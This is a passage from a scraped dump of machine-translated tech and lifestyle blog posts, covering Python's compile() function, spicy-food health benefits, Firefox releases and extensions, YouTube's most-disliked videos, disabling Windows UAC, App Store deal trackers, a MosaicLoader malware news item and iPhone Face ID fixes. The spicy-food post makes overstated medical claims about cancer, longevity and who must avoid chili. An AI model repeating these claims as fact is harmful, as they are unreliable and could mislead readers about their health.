here. mode: includes the following values: eval - if the source is an expression. exec - if the source is a block of statements, classes, and functions. single - if the source is an interactive statement.  flags: control commands that affect source compilation, default to 0. This parameter is optional. dont_inherit: control the commands that affect the source compilation, the default is False. This parameter is not required. optimize: specify the optimization level of the compiler, the default is -1. This parameter is not required. Return value from compile () The compile () function returns a code object in Python.\nExample: How does the compile () function work?\nFollow the following example:\n codeInString = 'a = 5nb=6nsum=a+bnprint(\"sum =\",sum)' codeObejct = compile(codeInString, 'sumstring', 'exec') \u0026nbsp;\nexec(codeObejct)  Run the program, the result is:\n sum = 11  In the above example, the source here is a normal string, filename is sumstring, mode is exec after conversion, you can use the exec () function to call the resulting code object.\nYou can see a list of built-in Python functions and don't forget to do Python exercises to reinforce your knowledge.\nPrevious lesson: complex () function in Python\nNext article: Function delattr () in Python\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJympqiZobJustSnmq2hn6N6qrqMqbCtoJ%2Bj\n","link":"/post/the-compile-function-in-python/","section":"post","tags":null,"title":"The compile () function in Python"},{"body":" Mistakes to avoid when cooking What does the body shape say about your health? 12 meals causing fever to social networks of postpartum women at Japanese hospital Ginger, garlic, chili . are familiar spices known for their characteristic hot spicy taste and are very beneficial for health. However, many people are wondering whether these spices are really good for health. If you are wondering about this, the following article will give you reasons to change the way you look at these spices, and there is no reason not to add it to regular dishes. day.\n  1. Spicy eating helps live longer Have you ever thought, spicy eating can help increase life expectancy. According to the National Center for Disease Control and Prevention in collaboration with Harvard University (USA), research shows that people who regularly eat spicy food 6 or 7 days a week will help increase the age. life expectancy, 14% reduction in mortality.\n2. Spicy eating enhances metabolic activities   People with poor digestive systems can use some spicy spices such as turmeric, pepper and chili, these foods help boost metabolism and slow down the appetite process. Besides, turmeric also helps reduce the growth of adipose tissue in the body.\nThe effect of spicy eating is relatively mild, so eating spicy foods will not help you lose weight. But if you want to set your body more slender, spicy eating is also one of the support methods worth trying.\n3. Spicy food fights inflammation In turmeric contains a Curcumin compound, if you use turmeric daily, it will help reduce the inflammation that takes place in the body. Apart from turmeric, ginger and garlic are also natural anti-inflammatory foods that have been used for thousands of years. In addition to anti-inflammatory, they can treat many other diseases such as arthritis, immune system disorders, and symptoms of headache and nausea.\n4. Spicy food helps fight cancer cells   According to UCLA research, foods containing capsaicin like pepper will inhibit the progression of cancer cells, such as prostate cancer, while the active ingredient does not hurt Other normal cells.\n5. Spicy food helps kill bacteria Turmeric and ginger are two foods that are resistant to oxidation and contain strong antibacterial substances. This shows that they can fight and kill harmful bacteria in the body.\n6. Spicy food helps you relax   When stressed, stress many people often choose to listen to music, play games, or go to sleep . to relieve, relax their minds. Apart from the above, there is another very simple way to eat spicy foods. When eating spicy foods, your body will immediately release active substances called endorphins and dopamine which are active ingredients that boost your mood, make your mood happy, more excited. Not only will it help to change your mood, but it also helps you reduce excess fat in your blood. That's why spicy dishes are an integral part of today's meals.\nDo not abuse spicy foods\n  \nAlthough eating spicy brings many benefits to health, however, it is not so abusive to backfire. When overuse of Capsaicin, a compound found in spicy pepper, they can lead to some bad reactions such as stomach pain, diarrhea, and vomiting if you eat too much.\nThe reason is that this substance has a stimulating effect on the nervous system. However, this substance does not leave long-term damage to the body.\nMany people believe that spicy eating leads to the formation of ulcers in the stomach, however, the current evidence confirms that capsaicin helps protect against H. pylori ulcerative bacteria. Capsaicin is also a pain reliever when applied or used through the gastrointestinal tract.\nTherefore, if you are practicing spicy eating, increase your intake from low to high, to avoid unwanted adverse effects on your body. When you eat a spicy dish compared to your stamina, you can eat some sweet food, they will help you \"fire\" quickly.\n  Who should not eat spicy?\nPeople with heart disease, brain disease, blood pressure, high blood pressure, chronic tracheal inflammation, people with lung disease. People with chronic gastric ulcers, people with esophagitis. People with cholecystitis, gallstones. People with hemorrhoids, are suffering from pinkeye or keratitis. People with dermatitis and all skin diseases. People who are taking oriental medicine, if they eat chili, will affect the therapeutic effect of the medicine. The sick are skinny. A nursing mother who eats too much will affect her baby through milk, her mother will be caught in the body while she is hot in her body, having trouble sleeping, or crying. For pregnant women, eating spicy does not directly affect the mother. But according to scientists, mothers who eat spicy during pregnancy are more likely to develop allergies for children later. According to folk experience, she eats too spicy, she is prone to chrome, heat in her body. ncG1vNJzZmismaXArq3KnmWcp51kwamxjKmpqK6Vo3qjsc2enaKso2K8p3nEmquippdiwLG1wrJkn6efmXqivsRmnqinlGKzsL6MoZyapKSd\n","link":"/post/the-proven-benefits-of-eating-spicy-food-are-good-for-health/","section":"post","tags":null,"title":"The proven benefits of eating spicy food are good for health"},{"body":"Tomorrow, Firefox 69 will be officially launched, but users can now access Mozilla to get the appropriate installer for their device.\nFirefox 69 brings many new features. In Firefox 69 for MacOS, Mozilla says the new browser will improve battery life on dual graphics systems. When a user downloads something using Firefox, the Finder on macOS will show the download progress.\nFirefox 69 for Windows version comes with 2 new features including:\nFirefox gives suggestions to Windows to set the priority to allow more system resources usage on the activity tab. Support for extension (extension) \"Web Authentication HmacSecret\" on systems running Windows 10 May 2019 or later through Windows Hello.   The last major change on Firefox 69 was related to Flash. Specifically, the \"Always Active\" Flash installation option has been removed, so before Flash content is enabled on a Firefox user site, permissions will always be required.\nMozilla launches a new browser called Firefox Preview, fast browsing speed and smooth running ncG1vNJzZmismaXArq3KnmWcp51kwbC5zqupqK9dm7azscWor2ZuaWLEqrjLZpmeZZ%2Bbs6qvyJqjpbFdp7KtscCsnJ1lkqrBbsXOrmScmZ5iu7DDjKKlrKyRoblutdM%3D\n","link":"/post/tomorrow-firefox-69-will-be-officially-released-but-you-can-now-install-it/","section":"post","tags":null,"title":"Tomorrow Firefox 69 will be officially released, but you can now install it"},{"body":"YouTube is a video sharing site where users can upload or download to a computer or phone and share video clips. It was a strange and wonderful place. Recently, we took a walk around exploring YouTube's \" weird spots \" to check out some \" crazy \" channels. Usually, everyone likes to watch their favorite videos and YouTube is the source for a huge amount of videos.\nIn 2010, YouTube changed the rating system for videos from a 5-star scale to a Like / Dislike button . Because most people usually only use a scale of 1 or 5 to evaluate videos, this makes it easier. Since this change, the most Liked and Disliked videos on YouTube are considered appropriate topics for discussion.\n  Instead, all of them are available online, especially the popular online video clip YouTube. YouTube's Like / Dislike function allows network users to freely feel personal opinions as well as personal opinions on each video.\nThe list of the 10 most hated videos on YouTube has changed a lot, especially the appearance of the national hit song Baby Shark.\n10. James Charles responds to Tati Westbrook's allegations - 3.2 million dislikes\n  The video James Charles responded to Tati Westbrook's allegations with 3.2 million dislikes, ranked 10th on the list of the 10 most \"hated\" videos on YouTube. You may not know, James and Tati used to be close friends and are 2 of the most famous makeup vloggers on YouTuber today.\nOn May 10, Tati Westbrook posted a video about ending her friendship with Charles titled 'Bye Sister'. In the video, Tati thinks Charles is a 'bad role model' and is trying to 'manipulate someone's sexual orientation'.\nA few hours later, Charles posted a video to apologize for his past behavior and respond to Tati Westbrook's allegations. But this video has received a lot of backlash from millions of subscribers.\n9. Episode 17 of the animated film Masha and the Bear - 3.5 million dislike\n  Regarding the reason for the episode 17 of the animated film Masha and the Bear on this list, some Reddit users said that it was simply due to the envy of netizens when witnessing this video did not have too many special features. that can receive up to 4 billion views only.\nVideo link:\nhttps://www.youtube.com/watch?v=KYniUCGPGLs  8. Rebecca Black's MV Friday - 3.5 million dislikes\n  Rebecca Black's MV Friday was posted in 2011. Rebecca Black's jarring voice and rapping 'unlike anyone' made the MV receive 3.5 million dislikes. Since being uploaded to YouTube so far, this MV has been on YouTube's 'catastrophic' list for almost a decade.\n7. Song Baby Shark - 3.8 million dislike\n  With 3.5 billion views, Baby Shark has become a national song loved by many children and parents around the world. However, the dislike number for this song is also quite high, 3.8 million dislikes.\n6. Trailer Call of Duty: Infinite Warfare -3.8 million dislike\n  This is the only video game on this list. Although received a lot of comments that this video is quite useful in the game Call of Duty, but this video has received 3.8 million dislikes. Trailer Call of Duty: Infinite Warfare was posted in 2016 and now has 43 million views.\n5. Music phenomenon 2017 - Despacito - 4.2 million dislike\n  The MV Despacito by Luis Fonsi and Daddy Yankee ranked 5th in the list of 10 most hated videos on YouTube, with 4.2 million dislike. MV Despacito has more than 6 billion views and 34 million likes.\n4. PewDiePie urges people to click dislike for their videos - 4.2 million dislikes\n  PewDiePie is one of the first two YouTube channels with the sub 100 million people in the world and one of the most famous YouTuber today. PewDiePie has asked people to press dislike for their videos so that 1 million dislike. And far beyond his expectations, this video has received 4.2 million dislikes.\n3. The MV 'It's Everyday Bro.' by YouTuber - Jake Paul - 4.4 million dislikes\n  The music video for 'It's Everyday Bro.' by Jake Paul, one of the popular YouTube stars today, receives 4.4 million dislikes. By watching this video, you will understand why it has received so many dislikes.\n2. Justin Bieber's 'Baby' MV - 10 million dislikes\n  Justin Bieber's 'Baby' MV was released in 2010, making Justin Bieber's name more than 2 billion views but also received 10 million dislikes.\n1. YouTube Rewind 2018 - 16 million dislikes\n  YouTube Rewind is a video that summarizes all the typical faces, prominent events of the trends throughout the past year on YouTube. YouTube Rewind 2018 has received more than 16 million dislikes, becoming the most dislike video of all time.\nThe 'arrangement and bias in video' allegation is why YouTube Rewind 2018 is so much hated.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqWfqMFutMCtnJ1lpp6xprvSZqCnZamkwrXBwZ5koaGjqbyzxQ%3D%3D\n","link":"/post/top-10-most-hated-videos-in-youtube-history/","section":"post","tags":null,"title":"Top 10 most hated videos in YouTube history"},{"body":"Every time you download a new application and access it, the User Account Control (UAC) window appears not only once, but even many times while manipulating the application. If this makes you uncomfortable, in this article I will guide you to turn off UAC on Windows 10, 8 and 7.\nBesides, I will explain what UAC is and whether to disable it or not, share many different methods to enable / disable it in your Windows computer.\nI. What is UAC? Should I turn off UAC? User Account Control or UAC is part of the Windows security system that prevents an application from making unwanted changes on the PC without your permission. When some software tries to make changes to Windows system and Registry related parts, Windows 10 will display a \"UAC confirmation dialog\" so that the user will confirm if they really want to make those changes. or not.\nUAC therefore provides a special secure environment for your User account, restricting access to generation changes from the application. So the answer to the question of whether to turn off UAC or not is of course \"should not be turned off\" because it is meant to protect you.\nHowever many users are dissatisfied with seeing these UAC prompts and prefer to use Windows 10 with the classic security model, i.e. by creating a limited and admin account like in Windows XP and earlier. If you're one of those users, here's how to enable and disable UAC and get rid of its pop-ups in Windows.\nII. How to enable and disable UAC on Windows 10 and 8.1, 8   The operating systems from Windows 8 and above have quite similar design, you can apply the methods in this section to enable / disable UAC on your Windows 8, 8.1, 10 computer.\nOption 1: Turn on and off UAC through Control Panel To disable UAC using the option in Control Panel, you need to do the following steps:\nStep 1: Open the search dialog box by pressing the key combination Windows + Qand then type: UAC\nStep 2: Select Change user control settings in the search box.\nStep 3: The User Account Control Settings window immediately appears, as in the example below I am setting the alert mode to \" Always notify\" , ie always alert when the application makes system changes.\nStep 4 : Change this status bar to adjust UAC , from always notify (Always notify) -\u0026gt; Never notify (Never notify).\nAdjust UAC alert levels to suit your needs, and then click OK to apply the settings.\nMethod 2: Turn UAC on and off with a simple Registry editing method If you are having problems with the search box on Windows 10, another way to disable UAC is to use Registry Editor.\nStep 1: Press the key combination Windows + Rand then type: regedit\nThen click OK to open the Registry Editor.\nStep 2: Navigate to the key in the following navigation, you can highlight and copy this path and paste it in the address bar of Registry Editor.\n ComputerHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem Step 3: Find the EnableLUA key and double-click on it.\nIf you do not see it, you can quickly create the key by: Right-clicking on any empty area and then selecting New -\u0026gt; DWORD (32bit) Value then named EnableLUA.\nStep 4: At Edit DWORD (32bit) Value window , edit the corresponding value as follows in Value data:\n\"1\": Enable UAC (Enable) \"0\": Disable UAC (Disable) Assuming you've entered the picture below Value data = 1, so will trigger UAC . Please enter the value corresponding to your desire, then restart your computer to see the effect.\nMethod 3: Use the Winaero Tweaker application to turn on and off UAC You can use the tool to turn on and off Winaero Tweaker simply UAC.\nStep 1: Click on User Accounts .\nStep 2: Select 1 of the two options:\nEnable UAC: Enable UAC Disable UAC: Disable UAC After you click one of the two options above, the application will automatically turn on / off UAC immediately, the advantage of this option is to help you avoid having to edit the Registry.\nDownload Winaero Tweaker here\nIII. How to enable and disable UAC on Windows 7   Step 1: Click the Start Menu and then select Control Panel.\nWindow in the Control Panel , go to the regime of view by:  Small icons then click User Accounts.\nStep 2: The screen to make changes to your user account appears, click Change User Account Control settings.\n  Step 3 : Click Yes.\n  Step 4: Change UAC alert level to suit my needs, in the picture below I am leaving the alarm level at the highest level (Always notify).\nYou can reduce the alert level to the lowest level to disable it permanently (Never notify).\nFinally click OK to apply settings.\n  Step 5: Click Yes when asked to apply the setting.\n  IV. summary Through the article \" What is UAC? ​​Instructions on how to turn on and off UAC on Windows 10,8,7\" , you probably already know the use of this feature and how to enable / disable it. Personally, I always turn on UAC but do not set it to too high a warning level, I also advise you to turn it on to ensure the security of the computer.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWllrButM6wZK2nXZq7oq7LnmSdoaOWr62xjK6YnGWfo3q4tc2dprCrXWZ9boSMcA%3D%3D\n","link":"/post/what-is-uac-how-to-enable-disable-uac-on-windows-10-8-7/","section":"post","tags":null,"title":"What is UAC? How to enable / disable UAC on Windows 10, 8, 7"},{"body":" 13 best online money websites today 6 helpful tips to prepare for future opportunities 7 reasons for mistakes when choosing a career for the future Sometimes we often think stereotyped about future careers. For example, many people will immediately think of a man grimacing with ' indifferent ' eyes when asked to imagine what a scientist looks like. And a successful businessman is always a handsome, stylish man wearing a luxurious suit.\nIn fact, however, each of these specific professions may appear in any aspect. Here are just a few examples found to prove to you that career patterns are wrong.\nPlease join us to explore the 12 reasons why you should not believe in a career model on movies, they are for illustration purposes only!\n1. Millionaire  © Paramount Pictures © catwalker / shutterstock.com\nYou see, not all millionaires are like movies, they are sometimes much simpler than us. Right: Mark Zuckerberg - a computer programmer, business owner, American philanthropist and family man.\n2. Scientist   Right: Amy Mainzer - American astronomer, NASA employee and principal researcher of small planets.\n3. Police  © Far Cry Productions © instagram.com\nThis young woman works for the Icelandic police. Iceland has the lowest crime rate in the world.\n4. Programmer  © Universal Pictures © gilipollastv / flickr.com\nRight: Roman Ivanov - Russia's leading website developer.\n5. The mayor  © Starz © Jenni Konrad\nOn the right is the Mayor of Talkeetna, Alaska . Yes, it's a cat! Its name is Stubbs, and it worked for 19 years. But how to make policies for the people?\n6. Princess  © Walt Disney Pictures © Henry Bucklow\nZara Anne Elizabeth Phillips is a member of the British Royal Family. She likes horse racing and won the world championship.\n7. Yoga teacher  © lkoimages / shutterstock.com © instagram.com\nOn the right is Yasmin Stanley , a famous yoga instructor. Yasmin believes that yoga can teach a living person and accept oneself and she thinks that being skinny or fat is not a problem.\n8. Rock star  © Warner Brothers © Sky Cinema / shutterstock.com\nOn the right - Jared Leto at a ceremony. Note that Jared Leto does not wear black leather and hair also looks very neat!\n9. Doctor  © NBC © instagram.com\nRight: Brazilian neurologist Daniel Prado .\n10. Teacher  © Alberta Film Development © imgur\nA chemistry teacher at a US school.\n11. Moto riders  © Carolco Pictures © instagram.com\nLeslie Porterfield (right photo), is the world record holder for the speed of a motorcyclist - 374,208 km / h.\n12. Firefighters  © Universal Pictures © instagram.com\nIt seems that the patterns may be true in some cases!\nBonus: Julia Vins - Athlete doll\n  This girl can definitely ' kick ' anyone, but she still looks incredibly cute and feminine.\nSee also: 9 steps to build a perfect \"elevator presentation\"\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnN50Z6YrKeeqHq4tNhmsKitXai1sMHLnWSnp6Rir6a4yJ6tnmWZo3qiecKaqZ6domK6sLDEpWSopl2ivLe1xKw%3D\n","link":"/post/12-reasons-why-you-should-not-believe-in-a-career-model-on-movies/","section":"post","tags":null,"title":"12 reasons why you should not believe in a career model on movies"},{"body":"Developers often sell their applications via the app deal website, app package or on the App Store. App Store has millions of applications, but there is no option to help you find deals or allow you to track the price of each application.\nYou can add applications to your favorites list to track them, but that feature has disappeared since iOS 11. This article will show you 6 ways to track discount apps on the App Store for both. Mac and iOS.\n1. Ceceree application Ceceree for Mac allows you to create the desired application list and keep track of interesting apps on Mac and iOS. To add an application, click the Plus button, type the application name and press Enter . Ceceree will immediately search the App Strore and display the results.\n  Click the tab corresponding to the application you are looking for, then click Add to add it to your wish list. Repeat the same process for other applications, then click Done to return to the main screen.\n  To make sure you don't miss anything, go to Ceceree\u0026gt; Preferences and in the Notifications tab, check all options. Cecerre will view the application in the background and notify you of price changes and updates for each application.\n  You can create multiple lists in Cecerre. The application even keeps individual lists for Mac and iOS. To create a new list, go to List\u0026gt; New, name and assign colors. To navigate between the Mac and iOS platforms, press Cmd + Shift + Left / Right.\nCecerre also allows you to create shareable links for lists, send an application collection to others by hovering over the title bar of the list and clicking Share , entering the iTunes email ID and clicking on Create . Anyone who gets the link can see your entire list.\n  Download : Cecerre for Mac (Free trial version, 4 USD)\n2. AppShopper.com   AppShopper is one of the largest iPhone, iPad and Mac application directories. It allows you to discover new apps and track your favorite lists to update versions and change prices. Use the drop-down menu at the top to find apps for Mac, iPhone, iPad or Universal iOS.\nThis menu also allows users to set up filters. You can view all paid apps on your iPhone or iPad that are currently sold or updated recently. You can also filter results by category or find a specific application via search. Click on the Wish button to add it to Wishlist if you have a free account.\nOnce you've added the app to your favorite list, go to your profile by clicking on the name at the top. Under Notifications , tick Notify me of Wishlist price drops by E-mail to receive notifications when the app is discounted. Click the app anywhere on the website to access the app's page to see screenshots, descriptions, app activity and ratings.\nDue to Apple's limitations, AppShopper does not have its own iOS app, but you can access the site's content through other methods. Try using one of Safari's tricks and add a shortcut to your website to your home screen. You can also watch AppShopper on Twitter for the latest updates, or get updates via RSS.\n3. AppSliced.co AppSliced, like AppShopper, is a great place to explore apps. It monitors discounts, analyzes price changes and gives you suggestions that match your interests.\nClick on Shop App to browse popular iPhone apps, iPads are discounted and set up filters. For example, to view all popular Mac applications that are selling under the Productivity category, select Device to Mac , Sort as Popular , Price as Paid and Category as Productivity .\n  On the app's product page, you'll see descriptions, screenshots, change lists and similar applications. Click the Like icon to like the app, the proposed tool will be used to refine the content displayed to you. You should also note Recent Price Changes to see if the app is selling at a promotional price.\nFrom the recent price changes and the AppSliced ​​algorithm, it will provide advice whether this is the right time for you to purchase the application. Under Set Price Alert , you can set a threshold for an application and click Set Alert .\n  On the sidebar, you can see the list of apps, likes and dislikes, your friends' activities and settings. Browse the Top Alerts and Recommendations tabs to see a list of popular application notifications. You can enter your contacts into AppSliced ​​to see suggestions from friends, apps they like and don't like.\n4. iOSnoops.com   iOSnoops provides you with quality daily app deals for iPhone and iPad in categories and continuously updated. Real-time updates allow you to take the deal as soon as it appears. Search the app and you can fill in the Deal Alert form on the page to receive detailed email when the app price drops.\n5. IFTTT.com/app_store This option works best when you just want to track a few applications. IFTTT is a powerful service that allows users to build connections between different applications and services. Once you have an account, log in to IFTTT website, click on your account name in the upper right corner and select New Applet .\nTo set up the trigger, select this option and type App Store in the search bar, select Apple App Store \u0026gt; App price dropped and enter the application name or URL, then click the Create trigger button.\n  You can now set up receiving IFTTT emails to announce discounts for established applications by selecting Email followed by Send me an Email . In addition, you can set many other options such as adding or deleting information about the application, then clicking the Create action button. In this last step, you can switch to receive notifications on the device when Applet runs.\n6. Create Twitter lists for app deals This list is a group of managed Twitter accounts. There are three advantages to creating a Twitter list:\nYou can group multiple accounts together. You do not have to track users in the list. See the list of timelines that only display records from those accounts and do not cause confusion. Log in to Twitter and click on your profile icon, select Lists from the drop-down menu, then click Create New List , enter the name of the list into Deals or similar and write a short description if desired. Then choose Private or Public if you want to be private or public and click Save List when done.\n  When creating a list, enter the account name in the Find people to add to your list section and press Enter . Now you can easily browse the shared account deal discount app.\nAlthough it is difficult to see the app or track prices on the App Store, you can use these services to know when your favorite apps are discounted.\nSee more:\n5 apps to keep track of apps for free and discount for Android How to get money back when buying apps on Android How to get money back when buying apps from iTunes \u0026amp; Mac or App Stores on iPhone ncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYrOqusNmm6Krk6TCr8CMmqepq12eu27Ax55kmqigYsC1u9Ge\n","link":"/post/6-ways-to-find-discount-apps-in-the-app-store/","section":"post","tags":null,"title":"6 ways to find discount apps in the App Store"},{"body":"The battle between browsers is still going strong. What makes a browser better than other browsers? Speed? Using memory or integrated features? The answer is depending on the preferences of individual users, besides, browser extensions make up the majority of those interests. Extensions are increasingly supported on browsers, but that's not always the case.\nFor a long time, Firefox has been more appreciated than other browsers, including Chrome by a giant extension store. This gap has gradually been shortened in recent years but not completely close. Consider the extensions only available to your favorite Firefox users that will make you want to remove other browsers.\nThe easiest way to speed up Firefox Firefox error takes up a lot of memory and CPU If you encounter a Firefox browser error: Could not load XPCOM, this is a fix Tree Style Tab   This is my favorite Firefox browser. Perhaps it was an odd confession to consider the simplicity of what Firefox did, but for me (and many others) it was purely a positive change. Once you have used Tree Style Tab, you will never want to reuse regular tabs or tab groups.\nAs its name suggests, Tree Style Tab changes Firefox's tab functionality into a hierarchical structure. New tabs are created as sub-tabs of the current tabs and these sub-tabs may have smaller tabs, so it creates a tree-style order. Tabs can be rearranged between trees, which means that the sub-tabs are arranged accordingly.\nHowever, the main benefit is the ability to narrow and expand the tab tree. If you normally open over 40 tabs at once, it will look quite messy. With Tree Style Tab, you can collapse unnecessary tab trees and open them later. Firefox will not load tab pages until clicked, which saves you a lot of RAM.\nDownload Tree Style Tab\nTab Mix Plus   Managing tabs is a big task in web browsing. If Tree Style Tab is not enough, you can consider Tab Mix Plus to allow you to manage more tabs. Tab Mix Plus features tab duplication, status restoration with crashed tabs, how and when new links are opened, tab locking, mixing open windows and automatic reloading tab and some other features.\nDownload Tab Mix Plus\nScrapbook   Have you ever tried to save a web page and then encountered an error of 404 missing page because the link was broken? This happens very often and points to major disadvantages with traditional bookmarks: they are relevant when the destination site exists and does not change the topology.\nThis is where Scrapbook demonstrates its ability. This is a web archive that allows you to download and save entire websites. These archives are accessed and organized in the same way you handle regular Firefox bookmarks. It is extremely useful and really earned the position as one of the best Bookmark extensions for Firefox.\nDownload Scrapbook\nDownThemAll DownThemAll - Download all files on the web using Firefox   The integrated download manager in Firefox has many advantages. You can pause, continue to download and save the history of downloaded files. However, if you want a download tool that provides more functionality, trust DownThemAll.\nDownThemAll not only handles common download links (for example, ZIP and EXE files) but also allows you to download all images and links on a specific page. Besides, you can filter those images and links to download only the things you need. DownThemAll also has an accelerator that allows users to download four times faster when downloading in parallel.\nDownload DownThemAll\nVideo DownloadHelper   Some websites allow you to convert a video link, such as a video from Youtube to a FLV or MP4 video format that you can download to store on your computer. Video DownloadHelper also has the same feature but is more than a hundred times more useful.\nThis gadget provides an easy way to download each or all of the videos on the current web page you are browsing. On a website like Youtube, just one click to download the video being viewed. This feature also works on other video sites not Youtube. It can also download images and audio.\nJust browse the web as usual. On each site, the Video DownloadHelper icon will show you the number of videos that can be downloaded. To download, just choose one of those videos.\nDownload Video DownloadHelper\nLeechBlock Control the working day with LeechBlock   Do you feel helpless when it takes too much time to access websites unreasonably? For example, when you're working, you get a message from a friend or open Facebook to surf, making you lose focus on your work. In all the temporary ways to block websites that waste your time, the LeechBlock extension on Firefox will be extremely helpful. All other browsers have their own site blocking utility, but they all lack this feature.\nLeechBlock has two big features:\nIntegrating in Firefox makes it easier to use without losing any insight. Maximum flexibility in choosing what, when and how to block websites. You can maintain blocked site groups, each with its own criteria at the time of being blocked. Therefore, this utility really brings satisfaction to users.\nDownload LeechBlock\nFirebug   Firebug is one of the most important web development tools online. Although web browsers have the 'Inspect Element' option to edit the markup of a particular website, Firebug is still the stronger choice. You can even install extensions on top of the Firebug extension to add more features to it.\nFirebug Lite already exists on other browsers but it lacks some features, which makes Firebug even better. For advanced web developers, small details between the two can significantly impact encryption performance.\nDownload Firebug\nWhat useful Firefox utility do I miss? Dear Firefox fans, share your favorite gadgets by commenting below!\nncG1vNJzZmismaXArq3KnmWcp51khG6x162cp6uZpLu0ec6nZJ%2BhopqzsMSMp6ZmmqKkxLSx0Wafmqs%3D\n","link":"/post/7-extensions-on-firefox-no-browser-has/","section":"post","tags":null,"title":"7 extensions on Firefox no browser has"},{"body":"The malicious code called MosaicLoader is capable of installing Bitcoin miners and spreading malicious code.\n  Security software firm Bitdefender revealed that malicious code developed specifically for the Windows operating system called MosaicLoader will try to infect as many victims as possible. Unlike many viruses that spread through phishing attacks or unpatched software, MosaicLoader is a virus that is even advertised to potential victims.\nThe workstations can be threatened if unfortunately for MosaicLoader to get in and continue to spread other malicious code. One of them is Gupteba, a malicious code capable of developing backdoor systems to collect sensitive information, including passwords, usernames or financial information.\nWhen users search for cracked versions of software, links to malicious websites show up at the top of the search results page. Because of the automated processes that trigger to buy and display ads, not everyone knows that ads are endangering users except for attackers.\nPeople who work from home are more likely to download malicious code than people who work in offices.\n  According to Bitdefender, people who work from home are more likely to download pirated software than people who work in the office. Although anti-virus software can prevent malicious code, to comply with the installation regulations, many users who download illegal software are forced to turn off system protection when installing software.\nMany crack (jailbreak) applications will mimic the metadata of real software files to make the software download and installation look the most professional and reliable. However, the danger behind that is something not everyone knows.\nAfter downloading and installing the malicious software MosaicLoader, it will allow the attacker to access the victim's PC. Attackers can obtain usernames and passwords of online accounts, the researchers warn. The presence of additional malicious code on the compromised Windows computer shows that the main goal of the attacker is to steal information.\nUsers should be careful when following the advice of disabling anti-virus software because this can lead to the installation of malicious software, potentially at risk of remote system intrusion.\nncG1vNJzZmismaXArq3KnmWcp51ksabAxJyroqaXYq5uusSwZK2xoJp6sLKMppilr5Gnsm7Ax5qrZqukmq6tv4ywoKecn6zAbrzArKqwp6KZwG61zayrmqScqHqiedWiqa2tkaF6pMHRq5ynm6liuqq6yKeeZqyfpLlurc2dZJynnqm2r8HErGStp12ovbOxwJ1kraqfn66vvw%3D%3D\n","link":"/post/detecting-a-new-type-of-malware-that-steals-windows-passwords-installs-a-virtual-currency-mining-tool-and-continues-to-spread-trojans/","section":"post","tags":null,"title":"Detecting a new type of malware that steals Windows passwords, installs a virtual currency mining tool and continues to spread trojans"},{"body":" (It's not yet widely rolled out by Google, so it's possible that some users won't see the new periodic table when searching.)\nYou can also access Google's periodic table directly using the link here.\nEven non-geeks can find interesting things with Google's periodic table. You can click on different elements to learn about things like the element's atomic mass, melting point. The most attractive feature is viewing 3D models of each element.\nEach element is also displayed with a short, interesting information surrounding it.\n  The interactive periodic table is rolling out along with some new family-powered features for the Google Assistant. Among them is an update to the Family Bell reminder feature.\nWhen it was launched last year, Family Bell could play through a monitor or a Nest smart speaker. However, the next few weeks it may also ring on mobile devices.\nGoogle is also adding a way for you to set up a schedule after you turn off your alarm each morning. For example, allows you to check the weather and news as soon as you wake up. This feature will also be released soon.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpmUmcButc2tnKuZk6m2t7GMqZyroZ%2BZtqR505qZpZ1dpLNur8eepKKrpKfGbsDOZqqemaKYtW6%2BxKyspayj\n","link":"/post/google-adds-interactive-periodic-table-of-chemistry-to-search-results/","section":"post","tags":null,"title":"Google adds interactive periodic table of chemistry to search results"},{"body":"Causes of Face ID not working Like many other features, Face ID sometimes glitches and doesn't work correctly. There are many causes of this situation, for example:\n- Front camera cluster is faulty - Your face is obscured iPhone is running an old version of iOS   Besides, Apple will also automatically lock Face ID and ask users to use a passcode (passcode) to unlock in some of the following cases:\niPhone has not been unlocked for more than two days (48 hours)\n- You have not used Face ID for more than 4 hours and have not used a passcode (passcode) for more than 6 and a half days (156 hours)\n- You used Find My iPhone to lock your device\n- Emergency SOS feature is active\nHow to fix when Face ID on iPhone is not working First, make sure nothing is obstructing the face or front camera cluster on the iPhone. For Face ID to work properly, everything on your face including your eyes, nose, and mouth must fit within the camera's line of view.\n- Try removing the case in case you are using the flip type.\nMake sure you are holding the iPhone properly. While Face ID on the iPad can work no matter which direction you're holding the device, Face ID on the iPhone only works when you hold the phone vertically.\n  - Clean the front camera assembly with a soft cloth. Dirt and sweat can cause the front camera cluster to become dirty and function incorrectly.\nRestarting your phone is the easiest way to fix unknown errors. To do this, go to Settings - General - Shut down - Slide to power off (slide to power off). Once the iPhone is completely off, simply press the power button for a few seconds until the Apple logo appears.\n  In case the phone hangs, does not respond to the operation, you need to force your iPhone to restart by pressing the volume up button and releasing, press the volume down and release button, then hold down the power button for about 10 seconds until the Apple logo appears.\nOn older iPhone models (with the physical home button), you can simply hold down the Home button and the power button at the same time to force the device to reboot.\n- To check if Face ID is turned on, go to Settings - Face ID \u0026amp; Passcode (Face ID and passcode), make sure the iPhone unlock option is activated. active.\n- Although Face ID can recognize you despite minor changes in appearance (pimples, hair coloring, glasses .). However, users should also set up some other face angles by going to Settings (settings) - Face ID \u0026amp; Passcode (Face ID and passcode) - Set Up an Alternate Appearance (set up an alternate appearance) and follow the instructions.\nIf the above doesn't fix the problem, try resetting the Face ID and resetting the face, note, do this in well-lit places.\n- iOS updates are something you should do regularly to make sure the features on your iPhone can work properly. First, go to Settings - General - Software Update - Download \u0026amp; Install (download and install).\n  Note, before performing the update, you should back up all data on iPhone via iTunes or iCloud to minimize possible risks.\nIn the event that Face ID still doesn't work, there's a good chance the device has a hardware problem. At this point, take your iPhone to an authorized Apple service center or repair store for assistance.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqnrcKeZKKcXaS7brXPoaannV2jvLV51qippKGenA%3D%3D\n","link":"/post/how-to-fix-face-id-on-iphone-not-working/","section":"post","tags":null,"title":"How to fix Face ID on iPhone not working"},{"body":"Windows 10 appears on many devices. Microsoft is also taking steps with the Internet of Things (IoT), and confirms its position as Windows 10 Internet of Things Core as a small but powerful version of the desktop environment.\nSo, you can use Windows 10 IoT Core for a test drive today. All you need is a Raspberry Pi 3, and follow the following instructions.\nWhat is 